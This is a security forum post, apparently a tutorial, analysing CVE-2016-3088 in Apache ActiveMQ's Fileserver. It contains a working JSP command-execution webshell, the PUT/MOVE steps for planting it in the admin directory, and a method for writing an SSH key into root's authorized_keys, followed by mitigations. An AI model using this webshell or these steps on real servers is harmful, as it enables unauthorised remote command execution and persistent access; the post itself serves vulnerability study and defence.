用户
搜索
  • TA的每日心情
    开心
    2021-6-2 18:57
  • 签到天数: 18 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    14

    主题

    41

    帖子

    784

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2019-4-17

    i春秋签约作者

    发表于 2021-5-20 22:36:52 66316
    本帖最后由 精通linux开关机 于 2021-5-20 22:39 编辑

    内网技能储备(CVE-2016-3088)

    一、简介

    ​           Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

    ​           Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

    ​           2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

    二、漏洞影响

    ​           漏洞影响版本:Apache ActiveMQ 5.x ~ 5.14.0

    ​           在 FOFA上用 titleserver 作为关键词检索,如:title="Apache ActiveMQ" && server="Jetty(8.1.16.v20140903)",筛选出2014年发布的较老版本,例如:Apache ActiveMQ  5.11.1

    互联网上老版本ActiveMQ 的总量情况,如下图所示:
    f1.png

    ​           当我们不限制Apache ActiveMQ 版本号,可以看到,互联网上存活的ActiveMQ数量客观,从这我们大致可以猜测漏洞爆发后,很多老版本ActiveMQ采取升级或取消来自公网访问等措施。

    互联网上各版本ActiveMQ 总量测绘,如下图所示:

    f2.png

    三、环境搭建

    ​           下载 ActiveMQ 5.7.0 发布版本:

    http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/apache-activemq-5.7.0-bin.tar.gz

    ​           下载 ActiveMQ 5.7.0 源码:

    http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/activemq-parent-5.7.0-source-release.zip

    ​           准备JDK环境:

    apache-activemq-5.0.0 1.5.0_12 1.5+
    apache-activemq-5.1.0 1.5.0_12 1.5+
    apache-activemq-5.2.0 1.5.0_15 1.5+
    apache-activemq-5.3.0 1.5.0_17 1.5+
    apache-activemq-5.4.0 1.5.0_19 1.5+
    apache-activemq-5.5.0 1.6.0_23 1.5+
    apache-activemq-5.6.0 1.6.0_26 1.5+
    apache-activemq-5.7.0 1.6.0_33 1.5+
    apache-activemq-5.8.0 1.6.0_37 1.5+
    apache-activemq-5.9.0 1.6.0_51 1.5+
    apache-activemq-5.10.0 1.7.0_12-ea 1.7+
    apache-activemq-5.11.0 1.7.0_60 1.7+
    apache-activemq-5.12.0 1.7.0_80 1.7+
    apache-activemq-5.13.0 1.7.0_80 1.7+
    apache-activemq-5.14.0 1.7.0_80 1.7+
    apache-activemq-5.15.0 1.8.0_112 1.8+

    ​           启动apache activemq

    cd activeMQ/apache-activemq-5.7.0/bin
    ./activemq start

    ​           检验是否运行

    netstat -an | grep 61616

    运行成功,执行效果如下图所示:

    f3.png

    访问  http://127.0.0.1:8161/,如下图所示

    f4.png

    ​           ActiveMQ默认口令admin/admin,MQ队列默认端口61616,web默认端口8161,Nmap扫描默认不包含这两端口。

    ActiveMQ使用默认口令登录,效果如下图所示:
    f5.png

    四、漏洞原理

    ​           ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,翻看对应源码文件activemq-parent-5.7.0\activemq-fileserver\src\main\java\org\apache\activemq\util\RestFilter.java,从后台处理PUT代码段可知,当目录不存在时将报错导致服务器路径泄露,具体代码如下:

    line:71-73
    private File locateFile(HttpServletRequest request) {// 此处存在安全隐患,当目录不存在时将报错导致 服务器路径泄露
            return new File(filterConfig.getServletContext().getRealPath(request.getServletPath()), request.getPathInfo());
    }
    
    line:151-171
    protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            if (LOG.isDebugEnabled()) {
                LOG.debug("RESTful file access: PUT request for " + request.getRequestURI());
            }
            if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
                response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
                return;
            }
            File file = locateFile(request);// 服务器路径泄露
            if (file.exists()) {
                boolean success = file.delete(); // replace file if it exists
                if (!success) {
                    response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file existed and could not be deleted
                }
            }
            FileOutputStream out = new FileOutputStream(file);
            try {
                IOHelper.copyInputStream(request.getInputStream(), out);
            } catch (IOException e) {
                LOG.warn("Exception occured" , e);
                throw e;
            } finally {
                out.close();
            }
            response.setStatus(HttpURLConnection.HTTP_NO_CONTENT); // we return no content
    }
    

    ​           翻看处理 MOVE对应代码段如下,可看到该方法未对目的路径做任何限制或者过滤。

    line:103-136    
    protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            if (LOG.isDebugEnabled()) {
                LOG.debug("RESTful file access: MOVE request for " + request.getRequestURI());
            }
            if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
                response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
                return;
            }
            File file = locateFile(request);
    // 此处存在安全隐患,目的路径可由客户端指定。
            String destination = request.getHeader(HTTP_HEADER_DESTINATION);
            if (destination == null) {
                response.sendError(HttpURLConnection.HTTP_BAD_REQUEST, "Destination header not found");
                return;
            }
            try {
                URL destinationUrl = new URL(destination);
                IOHelper.copyFile(file, new File(destinationUrl.getFile()));      
                IOHelper.deleteFile(file);
            } catch (IOException e) {
                response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file could not be moved
                return;
            }
            response.setStatus(HttpURLConnection.HTTP_NO_CONTENT); // we return no content
        }

    ​           用户可上传文件到指定目录,该路径定义位于 conf/jetty.xml ,翻看对应源码文件activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\assembly\src\release\conf\jetty.xml

            <property name="handler">
                <bean id="sec" class="org.eclipse.jetty.server.handler.HandlerCollection">
                    <property name="handlers">
                        <list>
                            <bean class="org.eclipse.jetty.webapp.WebAppContext">
                                <property name="contextPath" value="/admin" />
                                <property name="resourceBase" value="${activemq.home}/webapps/admin" />
                                <property name="logUrlOnStart" value="true" />
                            </bean>
                            <bean class="org.eclipse.jetty.webapp.WebAppContext">
                                <property name="contextPath" value="/demo" />
                                <property name="resourceBase" value="${activemq.home}/webapps/demo" />
                                <property name="logUrlOnStart" value="true" />
                            </bean>
                            <bean class="org.eclipse.jetty.webapp.WebAppContext">
                                <property name="contextPath" value="/fileserver" />
                                <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
                                <property name="logUrlOnStart" value="true" />
                                <property name="parentLoaderPriority" value="true" />
                            </bean>
                            <bean class="org.eclipse.jetty.server.handler.ResourceHandler">
                                <property name="directoriesListed" value="false" />
                                <property name="welcomeFiles">
                                    <list>
                                        <value>index.html</value>
                                    </list>
                                </property>
                                <property name="resourceBase" value="${activemq.home}/webapps/" />
                            </bean>
                            <bean id="defaultHandler" class="org.eclipse.jetty.server.handler.DefaultHandler">
                                <property name="serveIcon" value="false" />
                            </bean>
                        </list>
                    </property>
                </bean>
            </property>

    ​           由此,我们可以构造PUT请求上传 webshellfileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

    五、攻击思路

    ​           通过伪造不存在的二级路径,可报错得到服务器绝对路径,原理见上文分析。

    发包得到绝对路径,返回204,效果如下图:

    f6.png

    ​           故服务器绝对路径为/home/playground/activeMQ/apache-activemq-5.7.0/webapps/fileserver/yourupload

    ​           根据任意文件上传的手法,我们可以想到多种攻击路径。

    1.上传Webshell方式

    ​           第一步,PUT  CMD木马fileserver 目录,木马体文本内容如下:

    <%
        if("023".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
    %>

    PUT发包上传,执行效果如下图:

    f7.png

    ​           访问该 CMD木马,http://172.16.33.157:8161/admin/alice.jsp?pwd=023&i=ifconfig

    因为 fileserver/ 目录不具有执行权限,故jsp木马将以文本形式解析 。

    访问该 CMD木马,效果如下图所示:

    f8.png

    ​           结合前面得知服务器绝对路径为/home/playground/activeMQ/apache-activemq-5.7.0/webapps/fileserver/yourupload,考虑使用 MOVE 方法将 Webshell 移入 admin/ 目录(也可利用相对路径)。

    移动该 CMD木马,效果如下图所示:

    f9.png

    ​           再次访问http://172.16.33.157:8161/admin/alice.jsp?pwd=023&i=ifconfig

    命令成功执行,如下图所示:

    f10.png

    2.上传SSH公钥方式

    ​           SSH免密登录可以在遇到文件上传漏洞时使用,需要的条件比较多。目标开始了ssh服务,且存在上传漏洞。我们就可以通过上传漏洞实现ssh免密登录。

    ​           SSH远程连接有两种方式,1.通过账号密码,2.通过公私钥。

    ​           我们产生一对密钥对,分为公钥和私钥。将公钥上传到要登录的服务器,然后通过私钥远程连接服务器可实现免密登录。

    ​           生成密钥对命令ssh-keygen -t rsa

    生成密钥对,执行效果如下图所示:

    f11.png

    ​           然后上传、移动到/root/.ssh/并重命名为authorized_keys

    上传操作,执行效果如下图所示:

    f12.png

    移动到/root/.ssh/,执行效果如下图所示:
    f13.png

    ​           XSHELL 选中 Public Key浏览添加id_rsa文件

    XSHELL添加私钥操作,效果如下图所示:

    f14.png

    ​           点击确定,即可成功ssh登录。

    SSH登录成功,执行效果如下图所示:

    f15.png

    六、漏洞防护方案

    1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

    2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能。

    <bean class="org.eclipse.jetty.webapp.WebAppContext">
        <property name="contextPath" value="/fileserver" />
        <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
        <property name="logUrlOnStart" value="true" />
        <property name="parentLoaderPriority" value="true" />
    </bean>

    3、自定义账号密码,避免使用默认密码,有两处密码,jetty密码与MQ队列密码。

    <!-- ActiveMQ里内嵌的jetty的安全配置   -->
    <!-- 1.conf/jetty.xml 启用密码认证 -->
    <property name="authenticate" value="true" />
    ...
    <bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
        <property name="name" value="BASIC" />
        <property name="roles" value="admin" />
        <property name="authenticate" value="true" />
    </bean>
    
    <!-- 2.conf/jetty-realm.properties 添加自定义账号密码 -->
    # Defines users that can access the web (console, demo, etc.)
    # username: password [,rolename ...]
    admin: admin, admin
    
    <!-- alicemq.xml 添加访问ActiveMQ的账号密码 -->
            <plugins>
                    <simpleAuthenticationPlugin>
                            <users>
                                    <authenticationUser username="alice" password="123456" groups="users,admins"/>
                            </users>
                    </simpleAuthenticationPlugin>
            </plugins>
    
    发表于 2021-5-20 22:50:46
    内网技能+1
    使用道具 举报 回复
    发表于 2021-5-27 15:46:52
    66666666666666
    使用道具 举报 回复
    看看看看
    使用道具 举报 回复
    发表于 2021-6-4 14:15:09
    跟大佬学习学
    使用道具 举报 回复
    发表于 2021-6-5 23:30:59
    帮顶                  
    使用道具 举报 回复
    发表于 2021-6-7 13:01:22
    学会操作了
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册